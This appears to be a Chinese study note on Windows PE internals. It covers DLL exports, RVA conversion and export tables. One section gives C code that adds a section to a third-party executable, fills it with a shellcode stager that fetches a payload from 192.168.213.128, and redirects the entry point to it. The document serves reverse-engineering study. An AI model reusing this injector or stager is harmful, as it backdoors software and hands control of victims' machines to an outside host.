新增节-添加代码
现在有这么一个场景,如果我们需要添加的shellcode过大的话,那么就不能直接加在节区中了,因为空间可能会不够了。
1.首先需要更改的是节的数量。
将04改为05。
2.复制一个现有的节表然后复制到最后一个节表的后面。
3.添加1000字节数据,需要将SizeOfImage + 1000即可,将E改为F。
4.添加16进制数据,插入16进制数据。
5.然后将上一个节表(.rsrc)中的内存偏移和文件大小对齐后的长度加起来就是我们的下一个节表的VirtualAddress属性了。
最后如下总结:
我们来看一下我们添加的节。
那么我们这个6E000怎么算的呢?
其实是将上一个节的VirtualAddress + SizeOfRawData = 下一个节的VirtualAddress
那么65000如何算的呢?
其实就是将上一个节的PointerToRawData+ SizeOfRawData = 下个节的PointerToRawData
那么我们再来看一下如下图:
我们在想Dos头下面的是不是垃圾数据吗,那么我们能不能直接将下面的一堆给他提上来,然后改掉DOS头中的eifnew这个属性即可。
如下图:
上面是修改前的,修改后如下:
可以发现是可以正常打开的。
DWORD SectionAliment;
DWORD FileAligment;
void MyreadFile(FILE** file, char path[], int* filelen, char** exebuf) {
fopen_s(file, path, "rb");
fseek(*file, 0, SEEK_END);
*filelen = ftell(*file);
fseek(*file, 0, SEEK_SET);
//申请一块内存
char* buf = (char*)VirtualAlloc(NULL, *filelen, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
size_t n = fread(buf, 1, *filelen, *file);
*exebuf = buf;
}
//算对齐的函数
DWORD arithe(DWORD VirtualSize) {
DWORD myVirtualSize = 0;
if (VirtualSize % SectionAliment != 0) {
myVirtualSize = ((VirtualSize / SectionAliment) + 1) * SectionAliment;
}
else {
myVirtualSize = VirtualSize;
}
return myVirtualSize;
}
DWORD Filearithe(DWORD FileSize) {
DWORD myFileSize = 0;
if (FileSize % SectionAliment != 0) {
myFileSize = ((FileSize / FileAligment) + 1) * FileAligment;
}
else {
myFileSize = FileSize;
}
return myFileSize;
}
int main()
{
char exepath[] = "C:\Users\Admin\Desktop\IPMsg3(jb51.net)\ipmsg222.exe";
char addfilepath[] = "C:\Users\Admin\source\repos\逆向代码作业\逆向作业007\ff.txt";
FILE* pexefile = NULL;
char* exebuf = NULL;
int exefilelen = 0;
FILE* paddfile = NULL;
char* addfilebuf = NULL;
int addfilelen = 0;
MyreadFile(&pexefile, exepath, &exefilelen, &exebuf);
MyreadFile(&paddfile, addfilepath, &addfilelen, &addfilebuf);
printf("-------------------------------打印Dos头信息----------------------n");
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)exebuf;
printf("magic:%xn", pDosHeader->e_magic);
printf("lfanew:%xn", pDosHeader->e_lfanew);
printf("--------------------------打印NT头信息------------------------------n");
PIMAGE_NT_HEADERS pNTHEADERS = (PIMAGE_NT_HEADERS)(exebuf + pDosHeader->e_lfanew);
printf("Signature:%xn", pNTHEADERS->Signature);
printf("---------------------------打印节表信息--------------------------------n");
PIMAGE_FILE_HEADER pIMAGEFILEHEADER = (PIMAGE_FILE_HEADER) & (pNTHEADERS->FileHeader);
PIMAGE_SECTION_HEADER pSECTIONHEADER = (PIMAGE_SECTION_HEADER)(pNTHEADERS + 1); //这里NT头加1的话直接就可以定位到节表了
pSECTIONHEADER = pSECTIONHEADER + pIMAGEFILEHEADER->NumberOfSections - 1;
printf("Name:%sn", pSECTIONHEADER->Name);
printf("NumberOfLinenumbers:%xn", pSECTIONHEADER->NumberOfLinenumbers);
printf("SizeOfRawData:%xn", pSECTIONHEADER->SizeOfRawData);
printf("PointerToRawData:%xn", pSECTIONHEADER->PointerToRawData);
printf("VirtualAddress:%xn", pSECTIONHEADER->VirtualAddress);
SectionAliment = pNTHEADERS->OptionalHeader.SectionAlignment;
FileAligment = pNTHEADERS->OptionalHeader.FileAlignment;
pIMAGEFILEHEADER->NumberOfSections += 1;
DWORD myvirtualSize = arithe(pSECTIONHEADER->Misc.VirtualSize);
DWORD fielesVirtualSize = arithe(addfilelen);
DWORD FileAliementFileSize = Filearithe(addfilelen);
PIMAGE_SECTION_HEADER pmyIMAGESECTION = pSECTIONHEADER + 1;
memcpy(pmyIMAGESECTION->Name,"mysec",strlen("mysec")); //将名字copy到我们新加的节表中
// pSECTIONHEADER = pSECTIONHEADER + 1; //最后一个节表 +1的话就是我们需要创建的那个节的位置。
pmyIMAGESECTION->Misc.VirtualSize = fielesVirtualSize;
pmyIMAGESECTION->VirtualAddress = myvirtualSize + pSECTIONHEADER->VirtualAddress;
pmyIMAGESECTION->SizeOfRawData = FileAliementFileSize;
pmyIMAGESECTION->PointerToRawData = pSECTIONHEADER->PointerToRawData + pSECTIONHEADER->SizeOfRawData;
pmyIMAGESECTION->PointerToLinenumbers = 0;
pmyIMAGESECTION->NumberOfRelocations = 0;
pmyIMAGESECTION->NumberOfLinenumbers = 0;
pmyIMAGESECTION->PointerToRelocations = 0;
pmyIMAGESECTION->Characteristics = 0x60000020;
pNTHEADERS->OptionalHeader.SizeOfImage += fielesVirtualSize;
VirtualAlloc(NULL,exefilelen+ FileAliementFileSize,MEM_COMMIT,PAGE_EXECUTE_READWRITE);
char* execopydata = (char*)VirtualAlloc(NULL, exefilelen + FileAliementFileSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(execopydata,exebuf,exefilelen);
memcpy(execopydata+ exefilelen,addfilebuf, addfilelen);
//重新生成文件
FILE* savefile = NULL;
fopen_s(&savefile, "11111.exe", "wb");
fwrite(execopydata, 1, exefilelen+FileAliementFileSize, savefile);
fclose(savefile);
}
向目标程序注入Shellcode:
DWORD SectionAliment;
DWORD FileAligment;
unsigned char buf[] = "xfcx48x83xe4xf0xe8xc8x00x00x00x41x51x41x50x52x51x56x48x31xd2x65x48x8bx52x60x48x8bx52x18x48x8bx52x20x48x8bx72x50x48x0fxb7x4ax4ax4dx31xc9x48x31xc0xacx3cx61x7cx02x2cx20x41xc1xc9x0dx41x01xc1xe2xedx52x41x51x48x8bx52x20x8bx42x3cx48x01xd0x66x81x78x18x0bx02x75x72x8bx80x88x00x00x00x48x85xc0x74x67x48x01xd0x50x8bx48x18x44x8bx40x20x49x01xd0xe3x56x48xffxc9x41x8bx34x88x48x01xd6x4dx31xc9x48x31xc0xacx41xc1xc9x0dx41x01xc1x38xe0x75xf1x4cx03x4cx24x08x45x39xd1x75xd8x58x44x8bx40x24x49x01xd0x66x41x8bx0cx48x44x8bx40x1cx49x01xd0x41x8bx04x88x48x01xd0x41x58x41x58x5ex59x5ax41x58x41x59x41x5ax48x83xecx20x41x52xffxe0x58x41x59x5ax48x8bx12xe9x4fxffxffxffx5dx6ax00x49xbex77x69x6ex69x6ex65x74x00x41x56x49x89xe6x4cx89xf1x41xbax4cx77x26x07xffxd5x48x31xc9x48x31xd2x4dx31xc0x4dx31xc9x41x50x41x50x41xbax3ax56x79xa7xffxd5xe9x93x00x00x00x5ax48x89xc1x41xb8xbbx01x00x00x4dx31xc9x41x51x41x51x6ax03x41x51x41xbax57x89x9fxc6xffxd5xebx79x5bx48x89xc1x48x31xd2x49x89xd8x4dx31xc9x52x68x00x32xc0x84x52x52x41xbaxebx55x2ex3bxffxd5x48x89xc6x48x83xc3x50x6ax0ax5fx48x89xf1xbax1fx00x00x00x6ax00x68x80x33x00x00x49x89xe0x41xb9x04x00x00x00x41xbax75x46x9ex86xffxd5x48x89xf1x48x89xdax49xc7xc0xffxffxffxffx4dx31xc9x52x52x41xbax2dx06x18x7bxffxd5x85xc0x0fx85x9dx01x00x00x48xffxcfx0fx84x8cx01x00x00xebxb3xe9xe4x01x00x00xe8x82xffxffxffx44x6fx67x43x73x44x6fx67x43x73x44x6fx67x43x73x2ex6ax73x00x3ex61x4exf1xf1x2ax7bx6bxeax3fxe4x02x5dx19xf5xd4xd0x8fxfex41x70xa6x64xcexdcx0dx18xbdxcax65xedxf2xcdxe0xb5xf1x01xedx49x93x46xeex91x58x2ax16xd3xa7x00x7excex4ax6fxf5x09x5dx78xd8xb0x24x00x55x73x65x72x2dx41x67x65x6ex74x3ax20x4dx6fx7ax69x6cx6cx61x2fx35x2ex30x20x28x57x69x6ex64x6fx77x73x3bx20x55x3bx20x57x69x6ex64x6fx77x73x20x4ex54x20x36x2ex31x3bx20x29x20x41x70x70x6cx65x57x65x62x4bx69x74x2fx35x33x34x2ex31x32x20x28x4bx48x54x4dx4cx2cx20x6cx69x6bx65x20x47x65x63x6bx6fx29x20x4dx61x78x74x68x6fx6ex2fx33x2ex30x20x53x61x66x61x72x69x2fx35x33x34x2ex31x32x0dx0ax00xbax09xadxa1x65x2fx56x35x4dx31x3cxc0xb5x24x3cxe1x92xdaxb6xeax35xaexa3x98x6fx66x50x21x27x37xabxa5xfbx69xe4xdfxf1x19x0fx1cx88x56xf8x33x05x2bx29x73xfcx6cx84x8cxb3x00x89x3ex98x74xe4x09x57x0bx20x2fxd1x32xd3x3fxecxb2x7dx71xb3xf2x2bx9dx87x46x9bx89x71xbax21x59x8bxdaxd1x2bxd9x08xbdxaexbcx23xb5x15x0fx0bx9dx0dxd3x8ex83x7cxf0xc8x40x8fx4exb4x85x61x60xadx7fxc2x2cx6ax90xc3x34x42xe8xfcxeaxcfx74x05x25x89x3ex10x7fx8bx79xd6x33x51x57x38x54x1fx32xb4x79x3bxe0xbdxa4x3exd1x7cx77x38xd0x18x89x6dxddxa6x3dx52xc9x6fxb2xe3x6exc1x8dxa7x73x9cx7ax93x88x81xc9x71xc7xb8xfdx00x41xbexf0xb5xa2x56xffxd5x48x31xc9xbax00x00x40x00x41xb8x00x10x00x00x41xb9x40x00x00x00x41xbax58xa4x53xe5xffxd5x48x93x53x53x48x89xe7x48x89xf1x48x89xdax41xb8x00x20x00x00x49x89xf9x41xbax12x96x89xe2xffxd5x48x83xc4x20x85xc0x74xb6x66x8bx07x48x01xc3x85xc0x75xd7x58x58x58x48x05x00x00x00x00x50xc3xe8x7fxfdxffxffx31x39x32x2ex31x36x38x2ex32x31x33x2ex31x32x38x00x05xf5xe1x00";
void MyreadFile(FILE** file, char path[], int* filelen, char** exebuf) {
fopen_s(file, path, "rb");
fseek(*file, 0, SEEK_END);
*filelen = ftell(*file);
fseek(*file, 0, SEEK_SET);
//申请一块内存
char* buf = (char*)VirtualAlloc(NULL, *filelen, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
size_t n = fread(buf, 1, *filelen, *file);
*exebuf = buf;
}
//算对齐的函数
DWORD arithe(DWORD VirtualSize) {
DWORD myVirtualSize = 0;
if (VirtualSize % SectionAliment != 0) {
myVirtualSize = ((VirtualSize / SectionAliment) + 1) * SectionAliment;
}
else {
myVirtualSize = VirtualSize;
}
return myVirtualSize;
}
DWORD Filearithe(DWORD FileSize) {
DWORD myFileSize = 0;
if (FileSize % SectionAliment != 0) {
myFileSize = ((FileSize / FileAligment) + 1) * FileAligment;
}
else {
myFileSize = FileSize;
}
return myFileSize;
}
int main()
{
char exepath[] = "C:\Users\Admin\Desktop\IPMsg3(jb51.net)\ipmsg222.exe";
char addfilepath[] = "C:\Users\Admin\source\repos\逆向代码作业\逆向作业007\ff.txt";
FILE* pexefile = NULL;
char* exebuf = NULL;
int exefilelen = 0;
FILE* paddfile = NULL;
unsigned char* addfilebuf = NULL;
int addfilelen = 0;
MyreadFile(&pexefile, exepath, &exefilelen, &exebuf);
// MyreadFile(&paddfile, addfilepath, &addfilelen, &addfilebuf);
addfilebuf = buf;
addfilelen = sizeof(buf);
printf("-------------------------------打印Dos头信息----------------------n");
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)exebuf;
printf("magic:%xn", pDosHeader->e_magic);
printf("lfanew:%xn", pDosHeader->e_lfanew);
printf("--------------------------打印NT头信息------------------------------n");
PIMAGE_NT_HEADERS pNTHEADERS = (PIMAGE_NT_HEADERS)(exebuf + pDosHeader->e_lfanew);
printf("Signature:%xn", pNTHEADERS->Signature);
printf("---------------------------打印节表信息--------------------------------n");
PIMAGE_FILE_HEADER pIMAGEFILEHEADER = (PIMAGE_FILE_HEADER) & (pNTHEADERS->FileHeader);
PIMAGE_SECTION_HEADER pSECTIONHEADER = (PIMAGE_SECTION_HEADER)(pNTHEADERS + 1); //这里NT头加1的话直接就可以定位到节表了
pSECTIONHEADER = pSECTIONHEADER + pIMAGEFILEHEADER->NumberOfSections - 1;
printf("Name:%sn", pSECTIONHEADER->Name);
printf("NumberOfLinenumbers:%xn", pSECTIONHEADER->NumberOfLinenumbers);
printf("SizeOfRawData:%xn", pSECTIONHEADER->SizeOfRawData);
printf("PointerToRawData:%xn", pSECTIONHEADER->PointerToRawData);
printf("VirtualAddress:%xn", pSECTIONHEADER->VirtualAddress);
SectionAliment = pNTHEADERS->OptionalHeader.SectionAlignment;
FileAligment = pNTHEADERS->OptionalHeader.FileAlignment;
pIMAGEFILEHEADER->NumberOfSections += 1;
DWORD myvirtualSize = arithe(pSECTIONHEADER->Misc.VirtualSize);
DWORD fielesVirtualSize = arithe(addfilelen);
DWORD FileAliementFileSize = Filearithe(addfilelen);
PIMAGE_SECTION_HEADER pmyIMAGESECTION = pSECTIONHEADER + 1;
memcpy(pmyIMAGESECTION->Name, "mysec", strlen("mysec")); //将名字copy到我们新加的节表中
// pSECTIONHEADER = pSECTIONHEADER + 1; //最后一个节表 +1的话就是我们需要创建的那个节的位置。
pmyIMAGESECTION->Misc.VirtualSize = fielesVirtualSize;
pmyIMAGESECTION->VirtualAddress = myvirtualSize + pSECTIONHEADER->VirtualAddress;
pmyIMAGESECTION->SizeOfRawData = FileAliementFileSize;
pmyIMAGESECTION->PointerToRawData = pSECTIONHEADER->PointerToRawData + pSECTIONHEADER->SizeOfRawData;
pmyIMAGESECTION->PointerToLinenumbers = 0;
pmyIMAGESECTION->NumberOfRelocations = 0;
pmyIMAGESECTION->NumberOfLinenumbers = 0;
pmyIMAGESECTION->PointerToRelocations = 0;
pmyIMAGESECTION->Characteristics = 0x60000020;
pNTHEADERS->OptionalHeader.SizeOfImage += fielesVirtualSize;
VirtualAlloc(NULL, exefilelen + FileAliementFileSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
char* execopydata = (char*)VirtualAlloc(NULL, exefilelen + FileAliementFileSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(execopydata, exebuf, exefilelen);
memcpy(execopydata + exefilelen, addfilebuf, addfilelen);
//重新生成文件
FILE* savefile = NULL;
fopen_s(&savefile, "11111.exe", "wb");
fwrite(execopydata, 1, exefilelen + FileAliementFileSize, savefile);
fclose(savefile);
}
可以看到虽然注入进去了,但是如果我们想要执行的话还需要改OEP的地址。
这里就需要我们更改OEP了,这里的OEP是内存中的虚拟地址,所以我们改成shellcode的起始地址就可以了。
将虚拟地址的值改到可选PE头的AddressOfEntryPoint这个地方。
改完之后我们发现程序入口已经到我们shellcode这里了。
那么虽然我们可以执行shellcode了,但是我们原程序已经被破坏了。
解析目录表
其实在可选PE头的最后一个属性表示的就是目录表,目录表有16个,最后一个保留。
我们可以在PETool中看到。
我们可以看到导出表,导入表,资源表等等。
那么在内存中如何查看呢?
目录表是在节表上面,因为每个表占用的是8个字节,那么16个表的话,那么一行我们有16个字节,那么只需要找8行即可。
静态链接库-动态链接库
静态链接库的特点:
1.优点是很方便,直接导入头文件和指定lib文件即可。
2.缺点是它的二进制代码直接编译到EXE中了,那么也就是说如果我们的DLL文件更改了,并不会导致EXE跟着更改,也就是说它不会热部署。
动态链接库的特点:
1.优点是它的二进制代码并没有直接编译到EXE中,那么也就是说动态链接库的DLL文件它是一个独立的模块,那么如果哪天我们需要更新的话,只需要更新DLL就可以了,不需要重新编译EXE。
动态链接库创建:
源文件:
// dllmain.cpp : 定义 DLL 应用程序的入口点。
int Plus(int x, int y)
{
return x + y;
}
int Sub(int x, int y)
{
return x - y;
}
int Mul(int x, int y)
{
return x * y;
}
int Div(int x, int y)
{
return x / y;
}
头文件:
extern "C" _declspec(dllexport) int Plus(int x, int y);
extern "C" _declspec(dllexport) int Sub(int x, int y);
extern "C" _declspec(dllexport) int Mul(int x, int y);
extern "C" _declspec(dllexport) int Div(int x, int y);
extern //表示这是个全局函数,可以供各个其他的函数调用
"C" 按照C语言的方式进行编译、链接
__declspec(dllexport)告诉编译器此函数为导出函数;
DLL使用
隐式链接:
将 *.dll *.lib 放到工程目录下面
将 #pragma comment(lib,"DLL名.lib") 添加到调用文件中
加入函数的声明,注意这里变成了dllimport表示导入的意思。
使用:
我们也可以在OD中进行查看我们的DLL文件。
需要注意的是如果你的EXE和DLL文件是不同的目录可能会导致如下问题:
这种情况只需要将DLL文件和EXE放到同一目录即可。
显示链接:
定义函数指针:
typedef int ( *lpPlus)(int,int);
typedef int ( *lpSub)(int,int);
typedef int ( *lpMul)(int,int);
typedef int ( *lpDiv)(int,int);
声明函数指针变量:
lpPlus myPlus;
lpSub mySub;
lpMul myMul;
lpDiv myDiv;
动态加载dll到内存中
HINSTANCE hModule = LoadLibrary("TestDynmic.dll"); //如果vs版本过高需要设置字符集
获取函数地址
myPlus = (lpPlus)GetProcAddress(hModule, "Plus");
mySub = (lpSub)GetProcAddress(hModule, "Sub");
myMul = (lpMul)GetProcAddress(hModule, "Mul");
myDiv = (lpDiv)GetProcAddress(hModule, "Div");
调用函数
int a = myPlus(10,2);
int b = mySub(10,2);
int c = myMul(10,2);
int d = myDiv(10,2);
相关参数说明:
Handle 是代表系统的内核对象,如文件句柄,线程句柄,进程句柄。
HMODULE 是代表应用程序载入的模块
HINSTANCE 在win32下与HMODULE是相同的东西 Win16 遗留
HWND 是窗口句柄
使用Dependency打开DLL文件。
可以看到我们函数的名字已经显示在工具中了,那么我们能不能隐藏掉函数的名字呢?
使用.def导出
源文件:
// dllmain.cpp : 定义 DLL 应用程序的入口点。
int Plus(int x, int y)
{
return x + y;
}
int Sub(int x, int y)
{
return x - y;
}
int Mul(int x, int y)
{
return x * y;
}
int Div(int x, int y)
{
return x / y;
}
头文件:
int Plus(int x, int y);
int Sub(int x, int y);
int Mul(int x, int y);
int Div(int x, int y);
创建.def文件。
EXPORTS
Plus @12 //这里的@12表示的是Plus这个函数的导出序号是12
Sub @15 NONAME //Sub函数的导出序号是15 //这里的NONAME表示的是只有序号没有名字
Mul @13 //Mul函数的导出序号是13
Div @16 //Div函数的导出序号是16
这里需要将def文件放到资源目录。
然后生成即可。
使用序号导出的好处:
名字是一段程序最精华的注释,有时候我们可以通过名字知道大概这个函数的意思。
那么通过使用序号来替代名字可以达到隐藏的目的。
我们现在使用工具来查看我们生成的DLL文件。
我们会发现Sub函数的名字已经被隐藏掉了。
那么如果我们全部都设置成NONAME的话,那么就全部都隐藏了。
名称粉碎
C++是可以函数重载的,就比如说写两个一模一样的函数,但是参数不同,那么C++是如何来进行判断的呢?是给我返回第一个函数的地址还是第二个呢?
//函数导出的第二个方式
_declspec(dllexport) void return1(){
}
_declspec(dllexport) void return1(int i) {
}
C++里面实现了名称粉碎,如上我们将return1函数都导出来。
这里的H表示一个int类型的参数。
比如说我们多给几个int。
//函数导出的第二个方式
_declspec(dllexport) void return1(){
}
_declspec(dllexport) void return1(int i,int z,int j,int f) {
}
那么我们将返回的类型给他改为int类型呢?
//函数导出的第二个方式
_declspec(dllexport) int return1(){
return 1;
}
_declspec(dllexport) int return1(int i,int z,int j,int f) {
return 2;
}
我们发现值从YAXHHHH@Z变成了YAHHHHH@Z ,从YAXXZ变成了YAHXZ,那么也就是说如果返回值为int类型的话第三个值就会变成H。
导出表分析
如何定位导出表:
数据目录项的第一个结构,就是导出表。
typedef struct _IMAGE_DATA_DIRECTORY {
DWORD VirtualAddress; //表示导出表的RVA
DWORD Size; //表示导出表的大小
} IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY;
导出表结构
上面的结构,只是说明导出表在哪里,有多大,并不是真正的导出表。
如何在FileBuffer中找到这个结构呢?在VirtualAddress中存储的是RVA,如果想在FileBuffer中定位
必须要先将该RVA转换成FOA.
这里首先说一下如果文件和内存对是一样的话如下图:
那么我们只需要直接找导出表的地址即可,也就是说RVA的地址就等于FOA。
如下图:这是内存中的,可以看到内存中的ipmsg这个程序是从400000开始的,可以看到的它导出表的RVA地址是51EC0
那么我们只需要通过400000 + 51EC0就是导出表的起始地址。
如下图:
可以看到如下就是导出表的结构。
那么在文件中:
可以看到它是从00000000开始的,因为文件对齐和内存对齐是一样的,所以我们直接使用RVA地址 + 00000000即可。
可以看到它的起始位置的值和在内存中是一样的。
那么如果不对齐的情况下呢?
如下图左边是文件中对齐,右边是内存中对齐。
也就是说左边是没有拉伸的,右边是拉伸过的。
那么如果我们在内存中的某一个节中存储一个全局变量,如下图:
那么对应在文件中是那个地址呢?
首先我们将401023这个地址减去400000,就等于我们这个地址和头部偏移的地址。
401023 - 400000 = 1023 这个地址就是我们这个全局变量到头部的偏移地址
然后算出来这个之后,我们需要确定它在那个节中。
首先判断如果1023这个偏移地址大于1000(VirtualAddress)的话,并且1023小于VirtualAddress + misc.VirtualSize。
if(1023 > 1000 && 1023 < VirtualAddress + misc.VirtualSize)
如果符号条件的话,那么就表示我们在距离头部1000偏移的这个节中,然后我们减去1000,就得到了1023距离1000的偏移。
1023 -1000 = 23
那么得到的23其实就是对于1000这个节的偏移。
然后我们在文件中第一个节的地址是400,那么使用400+23就是在文件中的偏移地址了。
其实这个中间最重要的就是来循环遍历节,然后判断即可。如果对齐方式一样的话直接找就行了,不需要这么麻烦了。
代码实现:
// RVAtoFA.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//
void myreadfile(FILE** file, char path[], int* filelen, char** exebuf);
DWORD ArithmeticFileAlignment(DWORD FileSize);
DWORD ArithmeticSectionAlignment(DWORD VirtualSize);
enum Conversion
{
RVAtoFA = 1,
VAtoFA,
RVAtoVA,
FAtoVA,
FAtoRVA
};
int FileAlignment = 0;
int SectionAlignment = 0;
BOOL RVAtoFAfun(DWORD RVA, DWORD imagebase, PIMAGE_SECTION_HEADER pSection, int nNumofSection, DWORD* pFA)
{
int FA = 0;
for (int i = 0; i < nNumofSection; i++)
{
DWORD VirtualSizeAlignment = ArithmeticSectionAlignment(pSection[i].Misc.VirtualSize);
if (RVA >= pSection[i].VirtualAddress && RVA < pSection[i].VirtualAddress + VirtualSizeAlignment)
{
if (pSection[i].SizeOfRawData == 0)
{
FA = 0;
break;
}
FA = RVA - pSection[i].VirtualAddress + pSection[i].PointerToRawData;
}
}
if (FA == 0)
{
return FALSE;
}
*pFA = FA;
return TRUE;
};
int main()
{
char exepath[] = "C:\Users\Admin\source\repos\逆向代码作业\Debug\DllMains.dll";
FILE* pexefile = NULL;
char* exebuf = NULL;
int exefilelen = 0;
myreadfile(&pexefile, exepath, &exefilelen, &exebuf);
PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)exebuf;
PIMAGE_NT_HEADERS32 pPeHeader = (PIMAGE_NT_HEADERS32)(pDos->e_lfanew + exebuf);
DWORD imagebase = pPeHeader->OptionalHeader.ImageBase;
int n_NumberofSection = pPeHeader->FileHeader.NumberOfSections;
FileAlignment = pPeHeader->OptionalHeader.FileAlignment;
SectionAlignment = pPeHeader->OptionalHeader.SectionAlignment;
PIMAGE_SECTION_HEADER pSection = (PIMAGE_SECTION_HEADER)(pPeHeader + 1);
printf("%sn", pSection->Name);
do
{
printf("请输入你要转换方式:n");
printf("1: rva->fan");
printf("2: va->fan");
printf("3: rva->van");
printf("4: fa->van");
printf("5: fa->rvan");
int UserConversion;
scanf("%d", &UserConversion);
int data = 0;
printf("请输入你要转换的数据:");
scanf("%x", &data);
switch (UserConversion)
{
case RVAtoFA:
{
DWORD FA = 0;
BOOL bRet = RVAtoFAfun(data, imagebase, pSection, n_NumberofSection, &FA);
if (bRet == TRUE)
{
printf("FA: %xn", FA);
}
else
{
printf("调用失败n");
}
break;
}
case VAtoFA:
{
printf("VAtoFAn");
break;
}
case RVAtoVA:
{
printf("RVAtoVAn");
break;
}
case FAtoVA:
{
printf("FAtoVAn");
break;
}
case FAtoRVA:
{
printf("FAtoRVAn");
break;
}
default:
{
printf("选择错误n");
break;
}
}
} while (true);
}
DWORD ArithmeticFileAlignment(DWORD FileSize)
{
DWORD myFileSize = 0;
if (FileSize % FileAlignment != 0)
{
myFileSize = ((FileSize / FileAlignment) + 1) * FileAlignment;
}
else
{
myFileSize = FileSize;
}
return myFileSize;
}
DWORD ArithmeticSectionAlignment(DWORD VirtualSize)
{
DWORD myVirtualSize = 0;
if (VirtualSize % SectionAlignment != 0)
{
myVirtualSize = ((VirtualSize / SectionAlignment) + 1) * SectionAlignment;
}
else
{
myVirtualSize = VirtualSize;
}
return myVirtualSize;
}
void myreadfile(FILE** file, char path[], int* filelen, char** exebuf)
{
fopen_s(file, path, "rb");
fseek(*file, 0, SEEK_END);
*filelen = ftell(*file);
fseek(*file, 0, SEEK_SET);
char* buf = (char*)VirtualAlloc(NULL, *filelen, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
fread(buf, 1, *filelen, *file);
*exebuf = buf;
}
真正的导出表结构如下:
typedef struct _IMAGE_EXPORT_DIRECTORY {
DWORD Characteristics; // 未使用
DWORD TimeDateStamp; // 时间戳
WORD MajorVersion; // 未使用
WORD MinorVersion; // 未使用
DWORD Name; // 指向该导出表文件名字符串
DWORD Base; // 导出函数起始序号
DWORD NumberOfFunctions; // 所有导出函数的个数
DWORD NumberOfNames; // 以函数名字导出的函数个数
DWORD AddressOfFunctions; // 导出函数地址表RVA
DWORD AddressOfNames; // 导出函数名称表RVA
DWORD AddressOfNameOrdinals; // 导出函数序号表RVA
} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;
AddressOfFunctions
AddressOfFunctions它也是一个RVA,所以也需要转换成FOA。
我们可以看到他的值是:
AddressOfFunctions所指向的表中存储所有函数的地址。它的宽度是4个字节。
如下图,那么至于存储多少个函数的地址是由NumberOfFunctions来决定的。
AddressOfNames
AddressOfNames是存储的是函数的名字,但是是以地址进行存储的。它的宽度是4个字节
AddressOfNameOrdinals
AddressOfNameOrdinals里面存储的是导出函数的序号表。它的宽度是2个字节。
名字导出
导出函数有两种方式,一种方式是名字导出,一种是序号导出。
比如我们现在有一个函数的名字为Test,首先需要找AddressOfNames表,这个表中存储的是所有函数名字的地址,首先需要和每个函数地址所指向的字符串进行比较,首先将AddressOfNames表中的地址从RVA转换成FOA。
然后循环遍历地址所指向的字符串进行比较。比如在这里找到了。
找到函数名称所指向的地址之后然后再去直接找序号表,跟着索引进行查找。
如上图我们找到的地址所对应的索引是4,然后直接去序号表中找到索引为4的值即可,可以看到索引为4的值对应的是5。
那么拿着这个5然后去函数地址表中进行查找索引5+1的位置,这里需要注意的是需要 + 1;
函数的数量是通过序号最后一个值减去第一个值然后加1。
例如如下,函数的数量为4,那么就是4 - 1 + 1 = 函数的数量。
总结:
起始就是通过函数的名称地址然后循环遍历函数名称表去找到它的地址,比如说我们找到了函数名称地址为0x19ff3的地址,那么他在这个名称表中是第三个,那么就对应的序号表中的第三个也就是0这个序号,那么在导出函数地址表中起始对应的就是0下标的这个地址,也就是0x1132a。
仿写GetProcAddress函数
名称导出
我们都知道GetProcAddressk可以通过函数名称或函数的序号来进行查找函数的地址。
例如:
char ary[] = { 'm','e','s','s','a','g','e','B','o','x','A',0 };
HMODULE hdll = LoadLibraryA("user32.dll");
GetProcAddress(hdll,ary);
如上就是通过函数的名称进行查找,这样的话就可以获取函数的地址了。
那么我们来实现一下这个代码:
那么我们第一步定位到NT头这里。
STRARR str_arr = { 0 };
ULONG_PTR dllBaseAddr = (ULONG_PTR)hModule; //强制转换 这里可以看作是一个PE文件起始的位置
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)dllBaseAddr; //获取DOS头
TPIMAGE_NT_HEADERS pNtHeader = (TPIMAGE_NT_HEADERS)(dllBaseAddr + dosHeader->e_lfanew); //获取NT头
那么第二部肯定是需要定位到导出表了,那么导出表的话我们可以通过NT头中的可选PE头里面的表目录来进行定位,这里的话就是通过OptionalHeader(可选PE头)的DataDirectory第0个,也就是导出表的VirtualAddress地址,然后这通过dllBaseAddr和它一相加就可以定位到导出表结构了。
PIMAGE_EXPORT_DIRECTORY pExportDir = (PIMAGE_EXPORT_DIRECTORY)
(dllBaseAddr + pNtHeader->OptionalHeader.DataDirectory[0].VirtualAddress); //通过NT头定位到导出表
既然已经定位到导出表结构了,那么我们继续定位到导出函数名称表。
导出函数名称表需要通过AddressOfNames属性来进行定位,这里全部都是导出函数的名称地址,比如说000945e6这个地址。
unsigned int* NameRVA = (unsigned int*)(dllBaseAddr + pExportDir->AddressOfNames); //定位到导出函数名称表
定位到名称表项之后我们需要进行遍历了,因为需要通过名称进行查询对应函数的地址,所以首先需要遍历名称表然后进行判断即可。
这里首先获取到函数名称的地址,赋值给了name,然后进行判断如果传递进来函数名称的地址和遍历的地址等于0的话那么就进入IF。
ULONG_PTR addr = 0;
//这里进行for循环遍历导出表 通过NumberOfNames(以函数名称导出表的个数) 来进行循环
for (int i = 0; i < pExportDir->NumberOfNames; i++) {
char* name = (char*)(dllBaseAddr + NameRVA[i]); //获取到导出函数名称表的中的地址
if (strcmp(name, procName) == 0) { //判断传进来的地址是否和名称表中的对应
}
}
其实这一步的话就相当于如下这张图:就是现在已经通过函数名称找到对应的地址了,那么我们现在需要去下一步也就是找到对应的需要,我们函数名称的地址下标就对应的名称序号表中的下标。
unsigned short NameOrdinal = ((unsigned short*)
(dllBaseAddr + pExportDir->AddressOfNameOrdinals))[i]; //如果判断成功的话那么就获取到函数对应下标的序号表
获取到序号之后,我们拿着这个需要去函数地址表中找到下标为这个序号的地址即可。
addr = ((unsigned int*)
(dllBaseAddr + pExportDir->AddressOfFunctions))[NameOrdinal]; //通过序号表中的值取作为下标去获取函数的地址
